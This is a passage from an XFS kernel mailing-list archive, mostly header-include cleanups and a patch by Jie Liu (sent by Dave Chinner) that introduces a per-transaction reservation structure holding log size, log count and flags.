a/fs/xfs/xfs_dir2_sf.c +++ b/fs/xfs/xfs_dir2_sf.c @@ -29,8 +29,8 @@ #include "xfs_inode.h" #include "xfs_inode_item.h" #include "xfs_error.h" -#include "xfs_dir2.h" #include "xfs_dir2_format.h" +#include "xfs_dir2.h" #include "xfs_dir2_priv.h" #include "xfs_trace.h" @@ -95,7 +95,7 @@ xfs_dir2_sf_get_parent_ino( return xfs_dir2_sf_get_ino(hdr, &hdr->parent); } -static void +void xfs_dir2_sf_put_parent_ino( struct xfs_dir2_sf_hdr *hdr, xfs_ino_t ino) @@ -123,7 +123,7 @@ xfs_dir2_sfe_get_ino( return xfs_dir2_sf_get_ino(hdr, xfs_dir2_sfe_inop(sfep)); } -static void +void xfs_dir2_sfe_put_ino( struct xfs_dir2_sf_hdr *hdr, struct xfs_dir2_sf_entry *sfep, diff --git a/fs/xfs/xfs_export.c b/fs/xfs/xfs_export.c index c585bc6..29c880f 100644 --- a/fs/xfs/xfs_export.c +++ b/fs/xfs/xfs_export.c @@ -21,8 +21,10 @@ #include "xfs_trans.h" #include "xfs_sb.h" #include "xfs_ag.h" -#include "xfs_dir2.h" #include "xfs_mount.h" +#include "xfs_da_btree.h" +#include "xfs_dir2_format.h" +#include "xfs_dir2.h" #include "xfs_export.h" #include "xfs_vnodeops.h" #include "xfs_bmap_btree.h" diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index de3dc98..1ba3c79 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -32,7 +32,7 @@ #include "xfs_vnodeops.h" #include "xfs_da_btree.h" #include "xfs_dir2_format.h" -#include "xfs_dir2_priv.h" +#include "xfs_dir2.h" #include "xfs_ioctl.h" #include "xfs_trace.h" diff --git a/fs/xfs/xfs_icreate_item.c b/fs/xfs/xfs_icreate_item.c index 7716a4e..441a78a 100644 --- a/fs/xfs/xfs_icreate_item.c +++ b/fs/xfs/xfs_icreate_item.c @@ -20,23 +20,11 @@ #include "xfs_types.h" #include "xfs_bit.h" #include "xfs_log.h" -#include "xfs_inum.h" #include "xfs_trans.h" -#include "xfs_buf_item.h" #include "xfs_sb.h" #include "xfs_ag.h" -#include "xfs_dir2.h" #include "xfs_mount.h" #include "xfs_trans_priv.h" -#include "xfs_bmap_btree.h" -#include "xfs_alloc_btree.h" -#include "xfs_ialloc_btree.h" -#include "xfs_attr_sf.h" -#include "xfs_dinode.h" -#include "xfs_inode.h" -#include "xfs_inode_item.h" -#include "xfs_btree.h" -#include "xfs_ialloc.h" #include "xfs_error.h" #include "xfs_icreate_item.h" diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c index 8763452..fabcc84 100644 --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -51,7 +51,7 @@ #include "xfs_symlink.h" #include "xfs_da_btree.h" #include "xfs_dir2_format.h" -#include "xfs_dir2_priv.h" +#include "xfs_dir2.h" #include "xfs_attr_leaf.h" #include "xfs_attr_remote.h" diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c index 2231498..5c7272f 100644 --- a/fs/xfs/xfs_mount.c +++ b/fs/xfs/xfs_mount.c @@ -25,8 +25,10 @@ #include "xfs_trans_priv.h" #include "xfs_sb.h" #include "xfs_ag.h" -#include "xfs_dir2.h" #include "xfs_mount.h" +#include "xfs_da_btree.h" +#include "xfs_dir2_format.h" +#include "xfs_dir2.h" #include "xfs_bmap_btree.h" #include "xfs_alloc_btree.h" #include "xfs_ialloc_btree.h" diff --git a/fs/xfs/xfs_rename.c b/fs/xfs/xfs_rename.c index 0c1f8ef..4715c7f 100644 --- a/fs/xfs/xfs_rename.c +++ b/fs/xfs/xfs_rename.c @@ -22,9 +22,10 @@ #include "xfs_trans.h" #include "xfs_sb.h" #include "xfs_ag.h" -#include "xfs_dir2.h" #include "xfs_mount.h" #include "xfs_da_btree.h" +#include "xfs_dir2_format.h" +#include "xfs_dir2.h" #include "xfs_bmap_btree.h" #include "xfs_dinode.h" #include "xfs_inode.h" diff --git a/fs/xfs/xfs_rtalloc.c b/fs/xfs/xfs_rtalloc.c index 5d900ec..bb4f7a1 100644 --- a/fs/xfs/xfs_rtalloc.c +++ b/fs/xfs/xfs_rtalloc.c @@ -23,7 +23,6 @@ #include "xfs_trans.h" #include "xfs_sb.h" #include "xfs_ag.h" -#include "xfs_dir2.h" #include "xfs_mount.h" #include "xfs_bmap_btree.h" #include "xfs_dinode.h" diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c index 146e2c2..7d57560 100644 --- a/fs/xfs/xfs_super.c +++ b/fs/xfs/xfs_super.c @@ -23,7 +23,6 @@ #include "xfs_trans.h" #include "xfs_sb.h" #include "xfs_ag.h" -#include "xfs_dir2.h" #include "xfs_alloc.h" #include "xfs_quota.h" #include "xfs_mount.h" @@ -47,6 +46,8 @@ #include "xfs_trans_priv.h" #include "xfs_filestream.h" #include "xfs_da_btree.h" +#include "xfs_dir2_format.h" +#include "xfs_dir2.h" #include "xfs_extfree_item.h" #include "xfs_mru_cache.h" #include "xfs_inode_item.h" diff --git a/fs/xfs/xfs_symlink.c b/fs/xfs/xfs_symlink.c index 80d550c..dd7c099 100644 --- a/fs/xfs/xfs_symlink.c +++ b/fs/xfs/xfs_symlink.c @@ -24,9 +24,10 @@ #include "xfs_trans.h" #include "xfs_sb.h" #include "xfs_ag.h" -#include "xfs_dir2.h" #include "xfs_mount.h" #include "xfs_da_btree.h" +#include "xfs_dir2_format.h" +#include "xfs_dir2.h" #include "xfs_bmap_btree.h" #include "xfs_ialloc_btree.h" #include "xfs_dinode.h" diff --git a/fs/xfs/xfs_utils.c b/fs/xfs/xfs_utils.c index 58386fa..fde7d22 100644 --- a/fs/xfs/xfs_utils.c +++ b/fs/xfs/xfs_utils.c @@ -22,8 +22,10 @@ #include "xfs_trans.h" #include "xfs_sb.h" #include "xfs_ag.h" -#include "xfs_dir2.h" #include "xfs_mount.h" +#include "xfs_da_btree.h" +#include "xfs_dir2_format.h" +#include "xfs_dir2.h" #include "xfs_bmap_btree.h" #include "xfs_dinode.h" #include "xfs_inode.h" diff --git a/fs/xfs/xfs_vnodeops.c b/fs/xfs/xfs_vnodeops.c index c2d96cd..221e2e3 100644 --- a/fs/xfs/xfs_vnodeops.c +++ b/fs/xfs/xfs_vnodeops.c @@ -25,9 +25,10 @@ #include "xfs_trans.h" #include "xfs_sb.h" #include "xfs_ag.h" -#include "xfs_dir2.h" #include "xfs_mount.h" #include "xfs_da_btree.h" +#include "xfs_dir2_format.h" +#include "xfs_dir2.h" #include "xfs_bmap_btree.h" #include "xfs_ialloc_btree.h" #include "xfs_dinode.h" -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:25:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D1CF07F8D for ; Fri, 19 Jul 2013 01:25:43 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 442B1AC00E for ; Thu, 18 Jul 2013 23:25:43 -0700 (PDT) X-ASG-Debug-ID: 1374215130-04cbb04690117c020007-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id Khaj6KGeKTFaaR19 for ; Thu, 18 Jul 2013 23:25:39 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAB3b6FF5LK4r/2dsb2JhbABagwbBRgSBFhd0giQBAQUnLzMIGDE5AxsZiA+2L45fCAuFIAOpKoFZgUsqgS0 Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:32 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0483-00048J-Ky for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0483-0001zR-78 for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 35/49] xfs: Introduce a new structure to hold transaction reservation items Date: Fri, 19 Jul 2013 16:25:06 +1000 X-ASG-Orig-Subj: [PATCH 35/49] xfs: Introduce a new structure to hold transaction reservation items Message-Id: <1374215120-7271-36-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215139 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu Introduce a new structure xfs_trans_res to hold transaction reservation item info per log ticket. We also need to improve xfs_trans_resv_calc() by initializing the log count as well as log flags for permanent log reservation. Signed-off-by: Jie Liu Signed-off-by: Dave Chinner --- fs/xfs/xfs_mount.h | 2 +- fs/xfs/xfs_trans.c | 2 +- fs/xfs/xfs_trans_resv.c | 121 +++++++++++++++++++++++++++++++++++----------- fs/xfs/xfs_trans_resv.h | 125 ++++++++++++++++++++++++++---------------------- 4 files changed, 163 insertions(+), 87 deletions(-) diff --git a/fs/xfs/xfs_mount.h b/fs/xfs/xfs_mount.h index 829035f6..1fa0584 100644 --- a/fs/xfs/xfs_mount.h +++ b/fs/xfs/xfs_mount.h @@ -136,7 +136,7 @@ typedef struct xfs_mount { int m_ialloc_blks; /* blocks in inode allocation */ int m_inoalign_mask;/* mask sb_inoalignmt if used */ uint m_qflags; /* quota status flags */ - struct xfs_trans_resv m_reservations; /* precomputed res values */ + struct xfs_trans_resv m_resv; /* precomputed res values */ __uint64_t m_maxicount; /* maximum inode count */ __uint64_t m_resblks; /* total reserved blocks */ __uint64_t m_resblks_avail;/* available reserved blocks */ diff --git a/fs/xfs/xfs_trans.c b/fs/xfs/xfs_trans.c index cc824eff..e0f93f9 100644 --- a/fs/xfs/xfs_trans.c +++ b/fs/xfs/xfs_trans.c @@ -56,7 +56,7 @@ void xfs_trans_init( struct xfs_mount *mp) { - xfs_trans_resv_calc(mp, &mp->m_reservations); + xfs_trans_resv_calc(mp, &mp->m_resv); } /* diff --git a/fs/xfs/xfs_trans_resv.c b/fs/xfs/xfs_trans_resv.c index ed6446e..3761481 100644 --- a/fs/xfs/xfs_trans_resv.c +++ b/fs/xfs/xfs_trans_resv.c @@ -671,32 +671,97 @@ xfs_trans_resv_calc( struct xfs_mount *mp, struct xfs_trans_resv *resp) { - resp->tr_write = xfs_calc_write_reservation(mp); - resp->tr_itruncate = xfs_calc_itruncate_reservation(mp); - resp->tr_rename = xfs_calc_rename_reservation(mp); - resp->tr_link = xfs_calc_link_reservation(mp); - resp->tr_remove = xfs_calc_remove_reservation(mp); - resp->tr_symlink = xfs_calc_symlink_reservation(mp); - resp->tr_create = xfs_calc_create_reservation(mp); - resp->tr_mkdir = xfs_calc_mkdir_reservation(mp); - resp->tr_ifree = xfs_calc_ifree_reservation(mp); - resp->tr_ichange = xfs_calc_ichange_reservation(mp); - resp->tr_growdata = xfs_calc_growdata_reservation(mp); - resp->tr_swrite = xfs_calc_swrite_reservation(mp); - resp->tr_writeid = xfs_calc_writeid_reservation(mp); - resp->tr_addafork = xfs_calc_addafork_reservation(mp); - resp->tr_attrinval = xfs_calc_attrinval_reservation(mp); - resp->tr_attrsetm = xfs_calc_attrsetm_reservation(mp); - resp->tr_attrsetrt = xfs_calc_attrsetrt_reservation(mp); - resp->tr_attrrm = xfs_calc_attrrm_reservation(mp); - resp->tr_clearagi = xfs_calc_clear_agi_bucket_reservation(mp); - resp->tr_growrtalloc = xfs_calc_growrtalloc_reservation(mp); - resp->tr_growrtzero = xfs_calc_growrtzero_reservation(mp); - resp->tr_growrtfree = xfs_calc_growrtfree_reservation(mp); - resp->tr_qm_sbchange = xfs_calc_qm_sbchange_reservation(mp); - resp->tr_qm_setqlim = xfs_calc_qm_setqlim_reservation(mp); - resp->tr_qm_dqalloc = xfs_calc_qm_dqalloc_reservation(mp); - resp->tr_qm_quotaoff = xfs_calc_qm_quotaoff_reservation(mp); - resp->tr_qm_equotaoff = xfs_calc_qm_quotaoff_end_reservation(mp); - resp->tr_sb = xfs_calc_sb_reservation(mp); + /* + * The following transactions are logged in physical format and + * require a permanent reservation on space. + */ + resp->tr_write.tr_logres = xfs_calc_write_reservation(mp); + resp->tr_write.tr_logcount = XFS_WRITE_LOG_COUNT; + resp->tr_write.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_itruncate.tr_logres = xfs_calc_itruncate_reservation(mp); + resp->tr_itruncate.tr_logcount = XFS_ITRUNCATE_LOG_COUNT; + resp->tr_itruncate.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_rename.tr_logres = xfs_calc_rename_reservation(mp); + resp->tr_rename.tr_logcount = XFS_RENAME_LOG_COUNT; + resp->tr_rename.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_link.tr_logres = xfs_calc_link_reservation(mp); + resp->tr_link.tr_logcount = XFS_LINK_LOG_COUNT; + resp->tr_link.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_remove.tr_logres = xfs_calc_remove_reservation(mp); + resp->tr_remove.tr_logcount = XFS_REMOVE_LOG_COUNT; + resp->tr_remove.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_symlink.tr_logres = xfs_calc_symlink_reservation(mp); + resp->tr_symlink.tr_logcount = XFS_SYMLINK_LOG_COUNT; + resp->tr_symlink.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_create.tr_logres = xfs_calc_create_reservation(mp); + resp->tr_create.tr_logcount = XFS_CREATE_LOG_COUNT; + resp->tr_create.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_mkdir.tr_logres = xfs_calc_mkdir_reservation(mp); + resp->tr_mkdir.tr_logcount = XFS_MKDIR_LOG_COUNT; + resp->tr_mkdir.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_ifree.tr_logres = xfs_calc_ifree_reservation(mp); + resp->tr_ifree.tr_logcount = XFS_INACTIVE_LOG_COUNT; + resp->tr_ifree.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_addafork.tr_logres = xfs_calc_addafork_reservation(mp); + resp->tr_addafork.tr_logcount = XFS_ADDAFORK_LOG_COUNT; + resp->tr_addafork.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_attrinval.tr_logres = xfs_calc_attrinval_reservation(mp); + resp->tr_attrinval.tr_logcount = XFS_ATTRINVAL_LOG_COUNT; + resp->tr_attrinval.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_attrsetm.tr_logres = xfs_calc_attrsetm_reservation(mp); + resp->tr_attrsetm.tr_logcount = XFS_ATTRSET_LOG_COUNT; + resp->tr_attrsetm.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_attrrm.tr_logres = xfs_calc_attrrm_reservation(mp); + resp->tr_attrrm.tr_logcount = XFS_ATTRRM_LOG_COUNT; + resp->tr_attrrm.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_growrtalloc.tr_logres = xfs_calc_growrtalloc_reservation(mp); + resp->tr_growrtalloc.tr_logcount = XFS_DEFAULT_PERM_LOG_COUNT; + resp->tr_growrtalloc.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_qm_dqalloc.tr_logres = xfs_calc_qm_dqalloc_reservation(mp); + resp->tr_qm_dqalloc.tr_logcount = XFS_WRITE_LOG_COUNT; + resp->tr_qm_dqalloc.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + /* + * The following transactions are logged in logical format with + * a default log count. + */ + resp->tr_qm_sbchange.tr_logres = xfs_calc_qm_sbchange_reservation(mp); + resp->tr_qm_sbchange.tr_logcount = XFS_DEFAULT_LOG_COUNT; + + resp->tr_qm_setqlim.tr_logres = xfs_calc_qm_setqlim_reservation(mp); + resp->tr_qm_setqlim.tr_logcount = XFS_DEFAULT_LOG_COUNT; + + resp->tr_qm_quotaoff.tr_logres = xfs_calc_qm_quotaoff_reservation(mp); + resp->tr_qm_quotaoff.tr_logcount = XFS_DEFAULT_LOG_COUNT; + + resp->tr_qm_equotaoff.tr_logres = + xfs_calc_qm_quotaoff_end_reservation(mp); + resp->tr_qm_equotaoff.tr_logcount = XFS_DEFAULT_LOG_COUNT; + + resp->tr_sb.tr_logres = xfs_calc_sb_reservation(mp); + resp->tr_sb.tr_logcount = XFS_DEFAULT_LOG_COUNT; + + /* The following transaction are logged in logical format */ + resp->tr_ichange.tr_logres = xfs_calc_ichange_reservation(mp); + resp->tr_growdata.tr_logres = xfs_calc_growdata_reservation(mp); + resp->tr_swrite.tr_logres = xfs_calc_swrite_reservation(mp); + resp->tr_writeid.tr_logres = xfs_calc_writeid_reservation(mp); + resp->tr_attrsetrt.tr_logres = xfs_calc_attrsetrt_reservation(mp); + resp->tr_clearagi.tr_logres = xfs_calc_clear_agi_bucket_reservation(mp); + resp->tr_growrtzero.tr_logres = xfs_calc_growrtzero_reservation(mp); + resp->tr_growrtfree.tr_logres = xfs_calc_growrtfree_reservation(mp); } diff --git a/fs/xfs/xfs_trans_resv.h b/fs/xfs/xfs_trans_resv.h index cc8260e..0aac1fa 100644 --- a/fs/xfs/xfs_trans_resv.h +++ b/fs/xfs/xfs_trans_resv.h @@ -23,35 +23,45 @@ struct xfs_mount; /* * structure for maintaining pre-calculated transaction reservations. */ +struct xfs_trans_res { + uint tr_logres; /* log space unit in bytes per log ticket */ + int tr_logcount; /* number of log operations per log ticket */ + int tr_logflags; /* log flags, currently only used for indicating + * a reservation request is permanent or not */ +}; + struct xfs_trans_resv { - uint tr_write; /* extent alloc trans */ - uint tr_itruncate; /* truncate trans */ - uint tr_rename; /* rename trans */ - uint tr_link; /* link trans */ - uint tr_remove; /* unlink trans */ - uint tr_symlink; /* symlink trans */ - uint tr_create; /* create trans */ - uint tr_mkdir; /* mkdir trans */ - uint tr_ifree; /* inode free trans */ - uint tr_ichange; /* inode update trans */ - uint tr_growdata; /* fs data section grow trans */ - uint tr_swrite; /* sync write inode trans */ - uint tr_addafork; /* cvt inode to attributed trans */ - uint tr_writeid; /* write setuid/setgid file */ - uint tr_attrinval; /* attr fork buffer invalidation */ - uint tr_attrsetm; /* set/create an attribute at mount time */ - uint tr_attrsetrt; /* set/create an attribute at runtime */ - uint tr_attrrm; /* remove an attribute */ - uint tr_clearagi; /* clear bad agi unlinked ino bucket */ - uint tr_growrtalloc; /* grow realtime allocations */ - uint tr_growrtzero; /* grow realtime zeroing */ - uint tr_growrtfree; /* grow realtime freeing */ - uint tr_qm_sbchange; /* change quota flags */ - uint tr_qm_setqlim; /* adjust quota limits */ - uint tr_qm_dqalloc; /* allocate quota on disk */ - uint tr_qm_quotaoff; /* turn quota off */ - uint tr_qm_equotaoff;/* end of turn quota off */ - uint tr_sb; /* modify superblock */ + struct xfs_trans_res tr_write; /* extent alloc trans */ + struct xfs_trans_res tr_itruncate; /* truncate trans */ + struct xfs_trans_res tr_rename; /* rename trans */ + struct xfs_trans_res tr_link; /* link trans */ + struct xfs_trans_res tr_remove; /* unlink trans */ + struct xfs_trans_res tr_symlink; /* symlink trans */ + struct xfs_trans_res tr_create; /* create trans */ + struct xfs_trans_res tr_mkdir; /* mkdir trans */ + struct xfs_trans_res tr_ifree; /* inode free trans */ + struct xfs_trans_res tr_ichange; /* inode update trans */ + struct xfs_trans_res tr_growdata; /* fs data section grow trans */ + struct xfs_trans_res tr_swrite; /* sync write inode trans */ + struct xfs_trans_res tr_addafork; /* add inode attr fork trans */ + struct xfs_trans_res tr_writeid; /* write setuid/setgid file */ + struct xfs_trans_res tr_attrinval; /* attr fork buffer + * invalidation */ + struct xfs_trans_res tr_attrsetm; /* set/create an attribute at + * mount time */ + struct xfs_trans_res tr_attrsetrt; /* set/create an attribute at + * runtime */ + struct xfs_trans_res tr_attrrm; /* remove an attribute */ + struct xfs_trans_res tr_clearagi; /* clear agi unlinked bucket */ + struct xfs_trans_res tr_growrtalloc; /* grow realtime allocations */ + struct xfs_trans_res tr_growrtzero; /* grow realtime zeroing */ + struct xfs_trans_res tr_growrtfree; /* grow realtime freeing */ + struct xfs_trans_res tr_qm_sbchange; /* change quota flags */ + struct xfs_trans_res tr_qm_setqlim; /* adjust quota limits */ + struct xfs_trans_res tr_qm_dqalloc; /* allocate quota on disk */ + struct xfs_trans_res tr_qm_quotaoff; /* turn quota off */ + struct xfs_trans_res tr_qm_equotaoff;/* end of turn quota off */ + struct xfs_trans_res tr_sb; /* modify superblock */ }; /* @@ -79,39 +89,40 @@ struct xfs_trans_resv { XFS_DAENTER_BMAPS(mp, XFS_DATA_FORK) + 1) -#define XFS_WRITE_LOG_RES(mp) ((mp)->m_reservations.tr_write) -#define XFS_ITRUNCATE_LOG_RES(mp) ((mp)->m_reservations.tr_itruncate) -#define XFS_RENAME_LOG_RES(mp) ((mp)->m_reservations.tr_rename) -#define XFS_LINK_LOG_RES(mp) ((mp)->m_reservations.tr_link) -#define XFS_REMOVE_LOG_RES(mp) ((mp)->m_reservations.tr_remove) -#define XFS_SYMLINK_LOG_RES(mp) ((mp)->m_reservations.tr_symlink) -#define XFS_CREATE_LOG_RES(mp) ((mp)->m_reservations.tr_create) -#define XFS_MKDIR_LOG_RES(mp) ((mp)->m_reservations.tr_mkdir) -#define XFS_IFREE_LOG_RES(mp) ((mp)->m_reservations.tr_ifree) -#define XFS_ICHANGE_LOG_RES(mp) ((mp)->m_reservations.tr_ichange) -#define XFS_GROWDATA_LOG_RES(mp) ((mp)->m_reservations.tr_growdata) -#define XFS_GROWRTALLOC_LOG_RES(mp) ((mp)->m_reservations.tr_growrtalloc) -#define XFS_GROWRTZERO_LOG_RES(mp) ((mp)->m_reservations.tr_growrtzero) -#define XFS_GROWRTFREE_LOG_RES(mp) ((mp)->m_reservations.tr_growrtfree) -#define XFS_SWRITE_LOG_RES(mp) ((mp)->m_reservations.tr_swrite) +#define XFS_WRITE_LOG_RES(mp) ((mp)->m_resv.tr_write.tr_logres) +#define XFS_RENAME_LOG_RES(mp) ((mp)->m_resv.tr_rename.tr_logres) +#define XFS_LINK_LOG_RES(mp) ((mp)->m_resv.tr_link.tr_logres) +#define XFS_REMOVE_LOG_RES(mp) ((mp)->m_resv.tr_remove.tr_logres) +#define XFS_SYMLINK_LOG_RES(mp) ((mp)->m_resv.tr_symlink.tr_logres) +#define XFS_CREATE_LOG_RES(mp) ((mp)->m_resv.tr_create.tr_logres) +#define XFS_MKDIR_LOG_RES(mp) ((mp)->m_resv.tr_mkdir.tr_logres) +#define XFS_IFREE_LOG_RES(mp) ((mp)->m_resv.tr_ifree.tr_logres) +#define XFS_SWRITE_LOG_RES(mp) ((mp)->m_resv.tr_swrite.tr_logres) +#define XFS_ICHANGE_LOG_RES(mp) ((mp)->m_resv.tr_ichange.tr_logres) +#define XFS_GROWDATA_LOG_RES(mp) ((mp)->m_resv.tr_growdata.tr_logres) +#define XFS_ITRUNCATE_LOG_RES(mp) ((mp)->m_resv.tr_itruncate.tr_logres) +#define XFS_GROWRTZERO_LOG_RES(mp) ((mp)->m_resv.tr_growrtzero.tr_logres) +#define XFS_GROWRTFREE_LOG_RES(mp) ((mp)->m_resv.tr_growrtfree.tr_logres) +#define XFS_GROWRTALLOC_LOG_RES(mp) ((mp)->m_resv.tr_growrtalloc.tr_logres) + /* * Logging the inode timestamps on an fsync -- same as SWRITE * as long as SWRITE logs the entire inode core */ -#define XFS_FSYNC_TS_LOG_RES(mp) ((mp)->m_reservations.tr_swrite) -#define XFS_WRITEID_LOG_RES(mp) ((mp)->m_reservations.tr_swrite) -#define XFS_ADDAFORK_LOG_RES(mp) ((mp)->m_reservations.tr_addafork) -#define XFS_ATTRINVAL_LOG_RES(mp) ((mp)->m_reservations.tr_attrinval) -#define XFS_ATTRSETM_LOG_RES(mp) ((mp)->m_reservations.tr_attrsetm) -#define XFS_ATTRSETRT_LOG_RES(mp) ((mp)->m_reservations.tr_attrsetrt) -#define XFS_ATTRRM_LOG_RES(mp) ((mp)->m_reservations.tr_attrrm) -#define XFS_CLEAR_AGI_BUCKET_LOG_RES(mp) ((mp)->m_reservations.tr_clearagi) -#define XFS_QM_SBCHANGE_LOG_RES(mp) ((mp)->m_reservations.tr_qm_sbchange) -#define XFS_QM_SETQLIM_LOG_RES(mp) ((mp)->m_reservations.tr_qm_setqlim) -#define XFS_QM_DQALLOC_LOG_RES(mp) ((mp)->m_reservations.tr_qm_dqalloc) -#define XFS_QM_QUOTAOFF_LOG_RES(mp) ((mp)->m_reservations.tr_qm_quotaoff) -#define XFS_QM_QUOTAOFF_END_LOG_RES(mp) ((mp)->m_reservations.tr_qm_equotaoff) -#define XFS_SB_LOG_RES(mp) ((mp)->m_reservations.tr_sb) +#define XFS_FSYNC_TS_LOG_RES(mp) ((mp)->m_resv.tr_swrite.tr_logres) +#define XFS_WRITEID_LOG_RES(mp) ((mp)->m_resv.tr_swrite.tr_logres) +#define XFS_ADDAFORK_LOG_RES(mp) ((mp)->m_resv.tr_addafork.tr_logres) +#define XFS_ATTRSETM_LOG_RES(mp) ((mp)->m_resv.tr_attrsetm.tr_logres) +#define XFS_ATTRINVAL_LOG_RES(mp) ((mp)->m_resv.tr_attrinval.tr_logres) +#define XFS_ATTRSETRT_LOG_RES(mp) ((mp)->m_resv.tr_attrsetrt.tr_logres) +#define XFS_ATTRRM_LOG_RES(mp) ((mp)->m_resv.tr_attrrm.tr_logres) +#define XFS_SB_LOG_RES(mp) ((mp)->m_resv.tr_sb.tr_logres) +#define XFS_QM_SETQLIM_LOG_RES(mp) ((mp)->m_resv.tr_qm_setqlim.tr_logres) +#define XFS_QM_DQALLOC_LOG_RES(mp) ((mp)->m_resv.tr_qm_dqalloc.tr_logres) +#define XFS_QM_SBCHANGE_LOG_RES(mp) ((mp)->m_resv.tr_qm_sbchange.tr_logres) +#define XFS_QM_QUOTAOFF_LOG_RES(mp) ((mp)->m_resv.tr_qm_quotaoff.tr_logres) +#define XFS_QM_QUOTAOFF_END_LOG_RES(mp) ((mp)->m_resv.tr_qm_equotaoff.tr_logres) +#define XFS_CLEAR_AGI_BUCKET_LOG_RES(mp) ((mp)->m_resv.tr_clearagi.tr_logres) /* * Various log count values. -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:26:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5E8187F6F for ; Fri, 19 Jul 2013 01:25:44 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0C1C7AC011 for ; Thu, 18 Jul 2013 23:25:43 -0700 (PDT) X-ASG-Debug-ID: 1374215134-04bdf0245d189c50006-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id ckMGlzz1M2e3hgqV for ; Thu, 18 Jul 2013 23:25:42 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAB3b6FF5LK4r/2dsb2JhbABagwbBRgSBFhd0giQBAQUnLzMIGDE5AxsZiA+2L45ygTqDZgOpKoMkKg Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:37 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0482-00048R-VQ for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0482-0001yO-UH for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 22/49] xfs: minor cleanups Date: Fri, 19 Jul 2013 16:24:53 +1000 X-ASG-Orig-Subj: [PATCH 22/49] xfs: minor cleanups Message-Id: 